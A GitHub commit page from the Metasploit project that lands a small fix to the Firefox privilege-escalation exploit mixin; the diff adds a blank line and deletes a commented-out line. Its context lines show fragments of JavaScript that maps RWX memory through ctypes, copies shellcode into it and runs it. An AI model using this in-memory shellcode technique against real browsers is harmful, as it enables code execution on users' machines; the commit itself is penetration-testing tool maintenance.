Skip to content

Commit 36404eb

Browse files
committed
Land rapid7#4457 - Fix firefox in-memory payload execution
Fix rapid7#4374
2 parents 01cf14d + e974d27 commit 36404eb

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

lib/msf/core/exploit/remote/firefox_privilege_escalation.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,7 @@ def exec_shellcode_source
3636
%Q|
3737
var execShellcode = function(shellcode, bytes) {
3838
Components.utils.import("resource://gre/modules/ctypes.jsm");
39+
3940
var execPosix = function() {
4041
var RWX = 7, ANON_PRIVATE = 4098;
4142
Components.utils.import("resource://gre/modules/ctypes.jsm");
@@ -77,7 +78,6 @@ def exec_shellcode_source
7778
);
7879
var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0);
7980
var cstr = ctypes.jschar.array()(shellcode);
80-
//var bytes = ctypes.char.array()(shellcode).length-1;
8181
memcpy(buff, cstr, bytes);
8282
/* there is probably a better way to do this */
8383
var m = buff.toString().match(/"0x([0-9a-fA-F]*)"/);

0 commit comments

Comments
 (0)